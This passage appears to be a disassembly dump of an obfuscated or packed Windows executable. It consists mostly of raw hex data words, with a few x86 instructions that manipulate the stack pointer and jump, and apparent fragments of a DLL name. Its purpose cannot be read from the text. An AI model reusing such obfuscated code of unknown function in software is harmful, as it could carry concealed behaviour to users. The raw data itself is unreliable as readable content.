0C0876113h, 85470BF9h, 0F6CC5DE3h, 0B474DAAEh dd 0D69D1AA0h, 0BE609CE8h, 0ABB9A738h, 5644B8C9h, 0A62CCE0Eh dd 1DDCA320h, 1931EF3Bh, 0E2956B13h, 34B7D8B9h, 1F9728AEh dd 0AB212B7Dh, 0C1975E25h, 0B7D8B9B6h, 9BE4D258h, 0A839BF61h dd 50080BE1h, 8006AE2Ch, 4983CBB9h, 5C90DECCh, 7F05F3BAh dd 0C455DB7Dh, 0AC4E8ED6h, 0E1A80034h, 5A7B290Bh, 9561E7B4h dd 48EC7185h, 0EA378C2Eh, 7200000Bh, 7A68E5E7h, 8876F3E9h dd 9381FEFEh, 0A89613C9h, 4FA01DDFh, 0DB115ED4h, 0EAE2705Eh dd 0FCF07F6Dh, 9C3917Fh, 16ECB38Ch, 0B7D30361h, 7D4FDAB5h dd 0DB53F5F7h, 0C1884FB9h, 0B15389D3h, 0B5373D2Bh, 26FC8D13h dd 0B474D95Eh, 4403CA50h, 981C91D4h, 1BD1A1A4h, 0DC6DF379h dd 0ECE0715Fh, 0F7F5816Fh, 0E5A4EF7Ah, 2AF546FFh, 0A018A9A1h dd 5F4D14FCh, 0E9E36F15h, 0AA3BC163h, 0F1BF0DE3h, 0CB51B473h dd 8F4D1604h, 34D667EDh, 0A7D0A66Dh, 67B7D838h, 0F97A50E1h dd 8BB7D838h, 913451A2h, 4B512F25h, 91h, 0F8F47DC0h, 0E11B6856h dd 0FA7D531Ah, 1CBE2736h, 1EDEA896h, 73FDEB8Dh, 98E9D779h dd 3220E764h, 840AAC20h, 6D0FCD96h, 0BADE56E7h, 5D3A4E19h dd 0B137D913h, 0BD5D38F2h, 0CE9A7037h, 1EB47457h, 14A52730h dd 575D29AFh, 0EC48E6CEh, 0AF3F54Ah, 1E690000h, 0EE7361DEh dd 0FB8371EEh, 0CA968401h, 0DEA79512h, 0D350A11Eh, 59D6165Fh dd 68E5E76Bh, 74F1EB7Ah, 81FEFE86h, 6C0BE1A8h, 0AAB7D302h dd 0B6A444CFh, 0B19F30ACh, 5AAF2CA0h, 4Ch, 0F8F47DCFh dd 52BADE56h, 2593B58Bh, 0FF85B475h, 0E63C3733h, 0C116B848h dd 0A99h, 0C744B8C3h, 0D75488D9h, 0E25F9DE9h, 0F77468F4h dd 3807C09h, 0B4C171B2h, 85CDBB38h, 95DCCA47h, 64ECDA57h dd 4B12EB68h, 0D3020275h, 0AE3914B7h, 32AAB6A4h, 8B790A90h dd 776507C5h, 0A551F3E9h, 774E6BBCh, 65577E37h, 22Eh, 0FD07FEDAh dd 0E3AA715Bh, 0DC6D6FF5h, 752A6E06h, 2503EB4h, 4ED439CAh dd 765D1CE3h dd 0DDDB6C62h, 0A6D1A76Eh, 68B7D886h, 9F7B51E2h, 0A684709Eh dd 8C531AF2h, 1E88EFC5h, 86C84Eh, 145B996Fh, 2FB5BE9Ch dd 5063158Dh, 95FF88EDh, 835920C2h, 0CA8F8EF4h, 4F169C22h dd 0E20A1B79h, 0E8AF35C0h, 0F5726AFAh, 0E691672Eh, 9FC86061h dd 0EAB116D6h, 60616314h, 0A72DB3C8h, 6B582816h, 71CED674h dd 38D08BE9h, 214BA463h, 6C60F0DEh, 7A281AE6h, 0F395385Eh dd 9B49Eh, 1FDDA800h, 2DAFB4A2h, 38B4C2B0h, 4983CDBBh dd 5B91DECCh, 9C968DDEh, 0AE9C19D3h, 0BDAB28A4h, 0CBB936B6h dd 0F1CA4785h, 23542Ah, 18F3B7D3h, 0A9B6A48Dh, 0AFB4A233h dd 61138B2Dh, 85D2C087h, 0D05696DFh, 5017A82Eh, 7ACDDB7Ah dd 0AD157B4h, 0CF96561Ch, 11453208h, 43C9B7D3h, 3B4735B2h dd 0F5A71FC1h, 0AB31ABB3h, 0A3020EE4h, 8E14AE20h, 5389D9C7h dd 18D49E8Ch, 561C0A87h, 7E06F496h, 35CAB27Eh, 812342B2h dd 9282Ch, 0B3293400h, 0C13B4836h, 0D4085644h, 0DD1F6957h dd 0E7E57260h, 280A196Ah, 32209D5Fh, 412FAC20h, 4F3DBA32h dd 754ECB01h, 9FD8AEh, 946FB7D3h, 53E5A409h, 9A90A9FBh dd 71389223h, 71A3D4AAh, 0ED73BE26h, 71E9865Ch, 3D04BE26h dd 25C7054Fh, 2BA1B19Fh, 89720389h, 0CCFCBB38h, 706CF52Eh dd 0BA882BB1h, 0D8C68D29h, 49C1528Ah, 8F6BD17h, 55DB7D7Fh dd 0E927FDC4h, 17B473FDh, 92DCCA91h, 3365DD5Ah, 793C12D9h dd 75AE2757h, 2A3A28EFh, 394735B2h, 7119F7C3h, 0BC5E42B6h dd 88867h, 5389D400h, 619BE8D6h, 7468F6E4h, 7D7F09F7h dd 87451200h, 0C86AB90Ah, 0D2C03DBFh, 0E1CF4C80h, 0EFDD5A92h dd 15EE6B61h, 0FFFF784Eh, 340FB7D2h, 36DE95A9h, 0D9A7BE27h dd 0BAA942EAh, 9E240511h, 1DF7A921h, 96238056h, 850BB474h dd 7909F7BEh, 7D04F283h, 0BDCAB87Fh, 6A31AE3Fh, 65F6F67Ch dd 52F4E877h, 820FDh, 41F37200h, 1ACAA067h, 94B474C9h dd 0DD966C0Eh, 0A7B7D915h, 75506DBEh, 88513002h, 2614C89Ah dd 76FC9E5Eh, 180FDE5h, 7D720000h, 682FF6F6h, 2736E592h dd 0B5A329BEh, 0B9133A9h, 98EAD87Ah, 8CD4C264h, 28E7AE50h dd 7147162Dh, 0BE26B706h, 69C38208h, 4D3BCCB2h, 5B49C606h dd 0BE36D814h, 0A76E3599h, 9F30ACB9h, 271A76C9h, 40E268BEh dd 0E488D9C2h, 0F4E25F9Dh, 32402E6Dh, 0BC9218BAh, 0BE271ABBh dd 0EBE16D5Bh, 673DDF65h, 0BE271914h, 3AB708F1h, 50E41E7Bh dd 2708FD7Ah, 0CC8B11BEh, 50E13450h, 5CD91362h, 945BB3E4h dd 26D8B1BEh, 694403BEh, 923A9388h, 51D73CCDh, 3BB1C1AFh dd 0E282D0BEh, 2ED05696h, 1ABC3040h, 0AAC202Ch, 0AC9A521Ch dd 368527A5h, 42C0FC4Dh, 1E640859h, 5F2917DEh, 0C88F0C9Dh dd 0A59E4201h, 0FD73304Eh, 27345027h, 455E64BEh, 0EB78AA96h dd 816F0086h, 12CA93F1h, 1BA15B24h, 755F0179h, 15E9EFAEh dd 27E3C443h, 0CFF9CF96h, 0DFB4747Dh, 76FF65F1h, 0C84ED476h dd 0EE895F26h, 20B7D880h, 9555149Ah, 0C605F33h, 0EFDD42D3h dd 66E36963h, 2CA0B19Fh, 27A5AD9Bh, 84680D85h, 0C284E7BDh dd 0F47AB7D8h, 83303F2Dh, 0A436F5FCh, 1AAB3180h, 0C011FA78h dd 1996561Ch, 3A5272Bh, 38FFE98Bh, 2FC03C4Ah, 0CA29268h dd 0E66CAE26h, 5DBA269h, 0BE264C72h, 9F8D1EA4h, 8BBCE0D3h dd 247C112Ch, 935A219Eh, 2651BABDh, 45D65CBEh, 0E26C0857h dd 0D69D64EAh, 26517700h, 801197BEh, 41F37803h, 0DECAA067h dd 50B474BFh, 736128CAh, 1FB8AEAh, 8C53D95Fh, 0D90BC1B6h dd 3ECF55B7h, 4CC90350h, 6C4CF3C1h, 2FADB7A5h, 4D26FC9Eh dd 38BE2736h, 0C23A462Eh, 72149A20h, 0D29CF884h, 1EF2941Ah dd 0B9A8E435h, 63627FD0h, 79577E23h, 3Ch, 27B5F3B2h, 0D93746FFh dd 0B6A4BD48h, 3B4533A9h, 314230C1h, 344319BBh, 0C9BE2736h dd 66EB8FE0h, 2013E966h, 0CDBE26C9h, 56EB4706h, 0F2DCA30Dh dd 0E2847804h, 9676CB5Ch, 0EBFFFFFFh, 0C18DF77Dh, 0F57B690Bh dd 49CF55F7h, 440EFCC3h, 37067147h, 8208BE27h, 0A4E06BFCh dd 367007DDh, 189EBE27h, 0F35AE587h, 0EEE16C4Ch, 31110463h dd 710B5A7Eh, 44000000h, 0AC00A185h, 0ED6625A7h, 0C98140CAh dd 0ACC8236Ah, 0F3CF5AEBh, 22552B4Ch, 92BE2736h, 2736BBBCh dd 70D55BBEh, 0A4D964EAh, 2736A9CEh, 6E440BBEh, 0BE273709h dd 91F6870Dh, 8123D9A3h, 0A4EA75FBh, 0ACB6A419h, 77088E30h dd 0D29CF889h, 0FD8A781Ah, 51D75DFFh, 29B440CBh, 7007DDA4h dd 9EBE2736h, 367601D7h, 1298BE27h, 27A6FB8Ch, 1B000000h dd 2EAEB6A4h, 9E7E259Dh, 0EFDDA413h, 44CA6C60h, 369ADDB3h dd 1298BE27h, 0EFDDA487h, 4BD66765h, 6DF8F47Dh, 0F17D29B4h dd 3F4634FBh, 5720F6BDh, 0B7BE2736h, 28FEA031h, 0BE27364Fh dd 67F1DFA6h, 89D5C365h, 533CCD53h, 0DC105E02h, 2554895Fh dd 174BE27h, 22315BCFh, 56297E04h, 9EFFFFF4h, 0C290F47Dh dd 0F6BD840Ah, 27365720h, 0A7252EBEh, 941A7F05h, 6A0E8603h dd 1B564D1Ah, 0EC7DE1DBh, 0D59C22A8h, 0E03F380Eh, 49CFBE26h dd 111BF1B8h, 0FFB47476h, 7201D779h, 12B7D8C6h, 0ABBD829h dd 0D4512FC8h, 7, 11649h, 0F38B0000h, 0CAA06741h, 0B47526B2h dd 968426ACh, 0BC920FCDh, 0B7D92780h, 86F450Ch, 6B7D928h dd 7201EF80h, 400FFD7Ah, 197DEA8Ch, 0CE72C3ACh, 0B77E4587h dd 0D92796E1h, 2BF278B7h, 0D9272255h, 0DD6EF4B7h, 0EAE27260h dd 355F2513h, 8C12B428h, 35412F06h, 592715B7h, 937C01A3h dd 1BD19E42h, 1C0AD195h, 0E7DD9C50h, 0E3ADFD09h, 75C6AF40h dd 0DE4983D1h, 2FC10453h, 0AB1B57FEh, 90000000h, 0DF6A42F3h dd 2EAEB6A4h, 693F068Ch, 0BE27360Eh, 22E97A00h, 2736284Ch dd 0F17C02BEh, 358219A4h, 0F5F77DF4h, 0F33EC96Ah, 817B044Ch dd 63EE70FBh, 7E311104h, 303E2C5Ah, 3A432BBCh, 0B8000000h dd 0E16C4CF3h, 36A9CEA4h, 0AE6DBE27h, 0E4F7475h, 109B213Dh dd 0B6A419A4h, 0C9234A8h, 0CA2B64Dh, 0DC6D8B1Ch, 0DC6765EEh dd 2E1629B4h, 4F000000h, 0A7425590h, 0B344E9F1h, 6C4CF328h dd 0AEB6A4E1h, 0D69D2Eh, 0BE273677h, 0A4A22DB3h, 0F8F47D19h dd 7DDA46Dh, 0BE273670h, 0D087189Eh, 0ADB6A445h, 76078D2Fh dd 0FFFF4C21h, 0B6A496FFh, 0A29032AAh, 0EF7517D5h, 9AEAD869h dd 1AACE029h, 0CA916404h, 268883F4h, 870D93BEh, 7369F7E5h dd 0F2DA7EF6h, 16E3552Bh, 2FB5B474h, 88D8C68Dh, 86EDC354h dd 0FEB7D8B3h, 0C4384937h, 0DCF94A33h, 512FB4E9h, 38F3h dd 41F36800h, 0F378992Eh, 6B9B1D41h, 4CFFBEFDh, 8A51D734h dd 748120B4h, 8628AEB4h, 0D8EDC3B0h, 87D8C1B7h, 2FDA5B6Ah dd 0F38151h, 0F3BA0000h, 0D8F15A1Dh, 0A536BCB7h, 7DDA41Ah dd 0BE273670h, 2CA0B09Eh, 592715A6h, 4A1301A3h, 0EBEE1159h dd 0B83E70ABh, 0A4582816h, 6B61EFDDh, 3A4A38DAh, 62CCAB81h dd 0C44ABE26h, 44EBC13Eh, 49BE2656h, 3BFAC13Bh, 177533Dh dd 860394E5h, 4D14C898h, 0EA3CC38Eh, 36BC5E9Eh, 0BB223877h dd 6C10882Ah, 8DE7BD84h, 83B47464h, 540880FDh, 2CDFB57Ch dd 80AE281Fh, 6507C592h, 6765F1DFh, 49AE3FC5h, 410EFCC3h dd 57200E8Bh, 19F5C995h, 842642B7h, 25C2Fh, 77750000h dd 85470CFAh, 904C1A08h, 0A15B2513h, 0B3293624h, 0F43EE536h dd 6F4716Bh, 1503807Ch, 23118E4Eh, 49229F5Dh, 0F9CBAC82h dd 704BB7D2h, 0FCF07DE5h, 1BF1B87Fh, 0BE27365Ch, 0CD7534BAh dd 4DFB27BCh, 0A9B7A536h, 0DEA56C33h, 267F6F08h, 43199FBEh dd 0BE267F34h, 4ECB5CE2h, 6741F3C3h, 0D10ACAA0h, 3EC4B474h dd 1DADC69Ch, 10D7B7D9h, 0F89A5222h, 3F04B372h, 0E70E16CEh dd 0FF1C6D56h, 512FBDC6h, 0E718h, 0E5A48D00h, 0DE945E5Eh dd 0B09E2FBFh, 0C38A2CA0h, 8C5126FCh, 3FC5BE26h, 35B7C0AEh dd 0A6D1A76Eh, 68BE268Ch, 0E8AF51E2h, 8C2C4B21h, 64EABE26h dd 8032FDD3h, 155BBE26h, 0E46C5AD7h, 0AACE46E8h, 0CFA57B42h dd 41B47418h, 92C63EBBh, 248CD601h, 0E066A243h, 0FBE94319h dd 1197AE27h, 0A0135C4Ah, 6A146EE4h, 5E25AB11h, 0C3B6C197h dd 83CFBE08h, 0BC21A749h, 3A28A536h, 19E3AF2Dh, 3642B6A2h dd 14F3F94h, 420D0000h, 521F0D8Ah, 272F1D9Ah, 2E3A28A5h dd 3A4331AEh, 2FF445C2h, 5827A03h, 14914B17h, 209D5F26h dd 2DAA2232h, 0C0B78D54h, 4EB7D2F8h, 0E5A4E873h, 783CA6B6h dd 546A3099h, 0D6FCBC7Bh, 0E16E5CEDh, 0BFB0EDB2h, 58DEE153h dd 774D14DBh, 0BE268C00h, 0EBC1880Eh, 0BE268B8Ch, 8573048Ah dd 0F580FDFFh, 30ACB6A4h, 29A3B19Fh, 0D0CB9987h, 27367DFAh dd 1D0B91BEh, 6DF39557h, 4EF26AE7h, 47C99F66h, 0F9B474C8h dd 0B6BEAC73h, 85CBB936h, 0B2DA547h, 5904DAA1h, 0D5AE2CA8h dd 34C3834Fh, 2ACC42B2h, 0A8D5h, 33A9B400h, 41BBC8B6h dd 5488D6C4h, 5D9FE9D7h, 6765F2E0h, 0A88A99EAh, 0B2A01DDFh dd 0C1AF2CA0h, 0CFBD3AB2h, 0F5CE4B81h, 0F71F582Eh, 14EFB7D2h dd 0FF41F389h, 53D97B71h, 25BBCB94h, 5EE4AC51h, 0F704C197h dd 78FEB479h, 0FC98E8D6h, 74F17775h, 5CFEFE86h, 7E660986h dd 94E5CEACh, 0EF6C60F0h, 0B2797301h, 0D56215EBh, 0C6B4B067h dd 0D0BE44B8h, 19BB4C80h, 946A212Bh, 0B067D5E3h, 8123D9AAh dd 8A1096FBh, 30816AE8h, 8B08C48Ch, 9DDCD79Dh, 9E5E280Fh dd 0ABC878DFh, 0E6705E25h, 2DBE44E6h, 3368Bh, 1FAB0000h dd 0FAF27D94h, 0E21A6A58h, 0C9035240h, 0B3293927h, 0A25A2311h dd 87451200h, 6F6DF7E5h, 5597DFCDh, 40BCC5B3h, 0C868129Eh dd 8900005Eh, 0F5682414h, 89000020h, 8B68243Ch, 8900006Ch dd 7568242Ch, 8B065426h, 0C483243Ch, 2C8B5404h, 4C48324h dd 5D1768h, 24048900h, 4589F889h, 34FF5808h, 0C4815D24h dd 4 db 8Bh, 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5426E1 ; --------------------------------------------------------------------------- db 26h dd 0C3A25966h, 0B8CC551Bh, 6544004h, 0C650C503h, 4E040185h dd 25684706h, 0FFCF3817h, 4E25D1B5h, 0D8858D06h, 0FF064E39h dd 8DD88BD0h, 4E22AD85h, 4685006h, 0FF000001h, 185C6D3h dd 53064E04h, 7F8BF68h, 0D1B5FF83h, 8D064E25h, 4E39D885h dd 89D0FF06h, 54245685h, 0F1BD8306h, 64E19h, 0B840Fh, 9D8B0000h dd 64E198Dh, 5E9h, 0BB00h, 680000h, 8D000001h, 54245AB5h dd 0FF535606h, 4E0B2D95h, 5AB58D06h, 3065424h, 1E9F0h dd 804E0000h, 840F5C3Eh, 9, 0F2F3E80h, 0FFFFED85h, 6C6FFh dd 245A858Dh, 0FF500654h, 54245695h, 0E0FF5806h, 7B9E1FEAh dd 14DBD364h, 6EC36782h, 6FA6D3ACh, 650A73CEh, 21A7BC5Fh dd 6FBCFA0Ch, 3B8C8A57h, 6FCA31EFh, 244251F7h, 56A9249Ah dd 42068D8Dh, 0B58B0654h, 64E1505h, 2B058D89h, 6A064Eh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 0DB615CC3h, 2D0DBD0Bh, 85C7064Eh, 64E2B65h, 6CD0h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 5AC35040h, 6FD868EEh dd 29528E51h, 4E2B41BDh, 81FC6006h, 50BAB0C0h, 85C76104h dd 64E065Dh, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0CEC35747h dd 0CC3E52FDh, 0DC801859h, 0FFD68B0Ch, 4E2F79B5h, 9995FF06h dd 29064E0Fh, 4E0EDDB5h, 0FF006A06h, 4E1A5995h, 0EBC08B06h dd 0A97120Dh, 0E45B7D6Bh, 0BC6CF18Fh, 10E8E10Eh, 0CC000000h dd 49C9654h, 10D554A1h, 812647C7h, 8962F4B2h, 4E0B959Dh dd 66605E06h, 4BF2EF81h, 0ACDBD31h, 8161064Eh, 759EC6h dd 5D8D8900h, 68064E0Ch, 1D38h, 15B59529h, 8B59064Eh, 4E31B585h dd 8036FF06h, 8B5A7BF7h, 4E11F9BDh, 11C28106h, 1534C98h dd 4E107595h, 0E0F28106h, 817B1A2Ch, 0BCA13F2h, 0FC52F82Ah dd 8B66068Fh, 53EE81DFh, 812D0FBEh, 0FBE4FC6h, 9589602Dh dd 64E3329h, 24B1BD8Bh, 8161064Eh, 1E9h, 14850F00h, 66000000h dd 26E9FE8Bh, 90000000h, 9670A1C8h, 0C398F420h, 8B391F49h dd 4E17419Dh, 0FF8FE906h, 63D2FFFFh, 305C9BA6h, 76CD8F70h dd 0E6B22BA8h, 0A78D8D93h, 6A065443h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 627BC357h dd 2A671035h, 6660678Fh, 66A2F9B8h, 614F23BAh, 2B058D89h dd 858B064Eh, 64E2F45h, 2B6585C7h, 6798064Eh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 2BB9BAC3h, 0CE91Dh, 92040000h, 3BF22626h, 0A4C8BD97h dd 0BA668443h, 85C78C02h, 64E065Dh, 0 dd 0B6A5BE66h, 19D1B5FFh, 6A064Eh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 0C99E2CC3h, 0A59D8BBDh dd 0FF064E2Fh, 4E0F9995h, 7E2FB806h, 6A1053h, 1A5995FFh dd 0C08B064Eh, 0B7A55BEBh, 0FD75EEBh, 0EC40F21Dh, 0A35B72EFh dd 0CAA42196h, 4E81AAA0h, 4A3ABEABh, 55F58FA8h, 0EDE02B06h dd 0DF52843Dh, 0D8CE2F7Eh, 1278F2E5h, 7A608BC3h, 87849073h dd 623F18E2h, 0A03ACC91h, 13BE62FAh, 4A33DB73h, 0A9965BD7h dd 1E266F1h, 0FD4CF404h, 0E1F16AD8h, 0DFC69BA0h, 0AE842h dd 84CD0000h, 0E0D65862h, 757016EEh, 5AC2B70Fh, 0AE9h dd 99221C00h, 3233E3FFh, 81F57630h, 5C1FC2h, 0DE800h, 0BFC70000h dd 914758A9h, 87BCB3BFh, 8B8555EAh, 4E0BB99Dh, 0B95B06h dd 29000000h, 4E15A185h, 0A3C8B06h, 2039B52Bh, 0C781064Eh dd 9C5843Dh, 105DB58Bh, 0EF81064Eh, 39DAE939h, 81C78B66h dd 0CDBFFBEFh, 5B5896Dh, 57064E33h, 0F0A048Fh, 8589F2BFh dd 64E08F5h, 5004E983h, 8158C68Ah, 0FFA470F9h, 0B6850FFFh dd 0B0FFFFFFh, 9026EBA4h, 0EC33B61Bh, 6E558EAFh, 6C6C6474h dd 6C6C642Eh, 46218800h, 0D25D3407h, 6C626CA3h, 0Fh, 0 dd 6A9E900h, 27680000h, 0E9065446h, 0FFFA3AB9h, 5446DB68h dd 3AAFE906h, 7168FFFAh, 0E9065447h, 0FFFA3AA5h, 54486868h dd 3A9BE906h, 3C68FFFAh, 0E9065449h, 0FFFA3A91h, 5449F068h dd 3A87E906h, 0FA85FFFAh, 0CA978502h, 0DFA79512h, 0A6B2A01Dh dd 0B2BBA926h, 0B76CBD3Ah, 7DFAF27Bh, 8C09C38Fh, 9815D79Eh dd 0A522DAAAh, 482F05CCh, 0C6B7D2F1h, 2D3624EBh, 0F6870DAFh dd 29166Bh, 7D8B0000h, 6553F5F7h, 0B1C69C1Fh, 65BE2736h dd 6DC59DFh, 0BE27366Dh, 0CB01513Fh, 2412A329h, 0EAD89F5Dh dd 38BE609Ch, 0A49F2AA7h, 17EDAEB6h, 0BE273660h, 0A228AEh dd 0CF71E97Ah, 69571EE5h, 794FE01Ch, 0B474D9F3h, 1EE5870Dh dd 5CA58A5Fh, 54E58434h, 0D925F57Eh, 9C88FB7h, 65EF22CDh dd 765FF00Eh, 0BFBD0825h, 421F512Fh, 94000002h, 0A0D42CFEh dd 0E4BA8148h, 0BE273693h, 0A56CFD83h, 752AA5CFh, 8AC6BB4h dd 1402E0ADh, 0C34983CBh, 88FCD23Dh, 53F3C5DEh, 2A00C721h dd 0F2140242h, 1C9436BCh, 0A25A2878h, 86461200h, 52D85EE4h dd 0EFDFB58Bh, 0EB71F04Ah, 6D2E3624h, 1FF5F77Fh, 0FBA77758h dd 0E3AA30B6h, 0F9F7FF24h, 746271D3h, 0C64CEEEEh, 0BACAB835h dd 0F0177642h, 0BC5E0517h, 47B67h, 23D9A400h, 31ABB8A6h dd 44B8C6B4h, 4D8FD9C7h, 5795E2D0h, 989A89DAh, 0A2900DCFh dd 0B19F1CD0h, 0BFAD2AA2h, 0E5BE3BB1h, 0F02F481Eh, 4DFB7D2h dd 7DDA479h, 0BE273670h, 0EB8D4F15h, 0E97A0065h, 420F75FBh dd 0F4965622h, 0C046E86Eh, 7C20983Ah, 1DF7CD94h, 33B4752Dh dd 0E7C330ADh, 460DE799h, 27260470h, 0BD840AAEh, 7F2525FEh dd 2ABBB528h, 5B31F8BFh, 0BE27171Ch, 0FC8674FAh, 47D85E00h dd 8552B171h, 4EC9021h, 3305673Dh, 75FB1BD7h, 0CF395BD3h dd 0A534108h, 296B41D2h, 2715A5FFh, 64ECDAA1h, 77FDEB68h dd 1B54A975h, 0E587DB1Bh, 3C790h, 0CF0D5800h, 0DD1F6452h dd 0E8E47260h, 0F9F37D6Bh, 0BC18E7Ch, 4CE63D8Eh, 5E4CC903h dd 6D5BD814h, 7B69E6E6h, 0A17AF7F5h, 0F07304DAh, 0C8A3B7D2h dd 8DF77D3Dh, 0E08208C4h, 15DC3468h, 74CC9D3Fh, 108D13B4h dd 450CE498h, 11F6EB86h, 69FA4FABh, 3140CCA2h, 0AD6CAE2Ch dd 0F10E08B4h, 4EB3446Bh, 4D1301C8h, 1A35927h, 402EF57Bh dd 0AC29BA32h, 6F36B6BEh, 59FBF181h, 44E6E66Bh, 5A738BEh dd 3A01EB8Dh, 5A19F064h, 4C189EB4h, 48ED2001h, 31297E20h dd 0EE000003h, 0FEEC6963h, 0CFA7775h, 1F0D8A42h, 2C1A9755h dd 0DB2CA923h, 5F9DEA48h, 6E6EF4E2h, 807C03F1h, 8D4F1503h dd 9A703710h, 0B7D2EFDDh, 7DCB5631h, 7C58DF7h, 5918DF81h dd 0BB1221h, 8434F309h, 1EA34CBCh, 0CB6DE576h, 41B437A8h dd 3BC1DB32h, 3584B574h, 5FEDCE4Eh, 814007CEh, 3A1074E2h dd 0BE26973Dh, 0FC8C4BD1h, 0D79F8D1Dh, 0B6AE8415h, 18B4744Bh dd 604E1592h, 0F64BDC10h, 1A2h, 8A2BFE6Bh, 7719D39Ch, 0B4E860F1h dd 0BD6955Ch, 179FD1EAh, 1CA1092Dh, 358DE65Dh, 6D07DDA4h dd 41B47443h, 0B88E0D53h, 0B7D853BFh, 0A143C94Fh, 9F258A1Bh dd 5BD55E34h, 0F2A67F13h, 2F7D531Ah, 0E1C102B6h, 0EC726AF3h dd 46AED24Ah, 0CBF9B87Fh, 5A92E2F7h, 97332B8h, 25FB8C85h dd 0BF3CC26Fh, 66541BA1h, 7361DE1Eh, 0E223EFEDh, 0ED3605DFh dd 23AF64Bh, 9AE50000h, 6AF7E562h, 7F07F572h, 4612007Dh dd 521B0986h, 57CC1D9Ah, 0DD5A92DBh, 0EC6963EFh, 0F87577FEh dd 5827A0Ah, 0E88F652Ch, 26B7D2EEh, 0DDA4C04Bh, 27367007h dd 87189EBEh, 2CD8CB99h, 0F6F67DC1h, 9CAA9937h, 3CC8A6DDh dd 880E851Bh, 0E2CA6EE6h, 9ECF451Bh, 0BA81B474h, 724884CCh dd 0B7D8AC05h, 0ABA6D1A7h, 0E268B7D8h, 97E0B67Dh, 77B7D8ABh dd 68E56BF1h, 0A3D52BFBh, 0AB453208h, 43C9B7D8h, 702FF6BDh dd 0D1E9EA8Fh, 0FDD3644Ah, 0AE26F577h, 0D2A81399h, 2FC8DCFCh dd 20E7C173h, 92F0624Ah, 0F4961C25h, 29F0D87Ch, 0C9B44153h dd 0D0A66D2Bh, 2F28B6A7h, 0EB50E167h, 0E9D79E65h, 0E3D1629Ah dd 0F4E25F9Dh, 6DA4706Ch, 64D196CDh, 1666DC2h, 0AEB90000h dd 0BEC3B12Eh, 8BD3C13Eh, 9AE6D451h, 6EF7E562h, 83A0F16Eh dd 0A926A6AFh, 0B835B7BBh, 0C441BBCAh, 0D14E8ED6h, 1C5B31F8h dd 0FAB7D2EDh, 0B6A4941Fh, 4983CCA8h, 0F99B21A7h, 6CF4E273h dd 2256CE70h, 0AF2D03CAh, 21B474CCh, 9C722933h, 0B7D911DBh dd 0A92FB53Bh, 41F3A12Ch, 0CAA067h, 0F2B47AEAh, 0F0DEA56Ch dd 0E6D46567h, 0F3E15E9Eh, 55CD6F6Dh, 2C02C923h, 0AE26A5E8h dd 10673D04h, 0FEBE2736h, 0FC82E778h, 0C3394735h, 0D4085846h dd 2E86BA32h, 0C9FB9167h, 0F4B3B474h, 0C567C30Dh, 7ADF70E7h dd 6507C58Ch, 608D59DFh, 4348E656h, 0B24CA1h, 0E26D0000h dd 0F27F6DEAh, 0C78F7DFAh, 0CE9A8805h, 0DAA3910Eh, 0CF54A522h dd 65E21A63h, 74F1EB77h, 80FDFF86h, 8D0AC292h, 6017EDB4h dd 0AEB7D2EDh, 41F348D3h, 0EBD9A067h, 0F37C6A62h, 309268F9h dd 40B47AEAh, 0A03A4A81h, 0BD93E861h, 0B7D32CBAh, 9150D65Ch dd 0C4147BC6h, 4FB4452Ch, 2B3927C9h, 3E4634B1h, 67551CBEh dd 5240E21Ah, 0A228CA02h, 0F8B58B1Ch, 23AACAAAh, 3F45E93Ah dd 25240BDh, 2E3A28CAh, 551E0CAEh, 0F7F78056h, 9117AEBAh dd 0BAA690Bh, 0AEF7F13Dh, 0BC1907Eh, 0E0311A69h, 0EC3D26A4h dd 47C43848h, 2FD10B59h, 3DAh, 941F4F00h, 58FAF27Dh, 40E21A6Ah dd 27C90352h, 11B32939h, 0A25A23h, 0E5874512h, 0CD6F6DF7h dd 0B35597DFh, 9E40BCC5h, 0E7895712h, 4C781h, 0EF810000h dd 4, 5C243C87h, 81242489h, 42404h, 21680000h, 89000055h dd 89532434h, 4C381E3h, 81000000h, 4EBh, 241C8700h, 2404895Ch dd 7D8EBF57h, 0EF816416h, 247E3F51h, 0EF81D7F7h, 0BA137CBAh dd 835FFE89h, 248904ECh, 24048124h, 4, 0B8505658h, 3D7D292Ch dd 4244431h, 8408F58h, 2C087081h, 8B3D7D29h, 89562404h dd 4C681E6h, 81000000h, 4C6h, 24348700h, 24348B5Ch, 81E38953h dd 4C3h, 4C38100h, 87000000h, 0E95C241Ch, 0FFFA3421h, 0EB65BA1Dh dd 0B883B334h, 6544AC7h, 0E0FFC503h, 114F8F22h, 45ACE6B9h dd 0C3FC703h, 5A9F1072h, 2CB24807h, 174E2CC2h, 34EA9BA4h dd 76FE58FDh, 1427B0A0h, 1EEA3E27h, 4CB01B55h, 0EE8h, 7EED5300h dd 4670712Dh, 0C13EE1E7h, 0F5065902h, 5E85Bh, 0CBE70000h dd 0E93894BDh, 6, 14099169h, 815F9ADAh, 635BC3h, 0F9B70F00h dd 189C68h, 8E900h, 0D5A20000h, 4CAE2FDEh, 0FC5AC21Fh dd 59F533FFh, 0E981E38Ah, 0A146A62h, 88B0Fh, 8D0F0000h dd 2, 0E9816160h, 481B302Fh, 81C18B66h, 8C2442C1h, 38F0F5Eh dd 66000000h, 8F51FE8Bh, 81666003h, 0F0E3EC2h, 8361D7BFh dd 12E803EBh, 0D6000000h, 0F1B06103h, 9CC92F4Fh, 0B574FCA1h dd 2D3A7344h, 4B5EF9F5h, 1EA81h, 850F0000h, 11h, 0B48DB866h dd 3BE9h, 4C954300h, 62E2212Ch, 0AE816h, 0BBB70000h, 0B57315ABh dd 0B6417D69h, 81C78A60h, 3A692DD0h, 0E95F610Eh, 0FFFFFF68h dd 54C95716h, 0FB315E7Dh, 0ADB47C7Ah, 0EDC5D9B1h, 0B7D6D9D0h dd 8EBh, 0CD840000h, 0ECE96AC6h, 68000004h, 6544DD8h, 0FA32D8E9h dd 4E4A68FFh, 0CEE90654h, 68FFFA32h, 6544FC2h dd 0FA32C4E9h, 0BF3D48FFh, 0CD0F5442h, 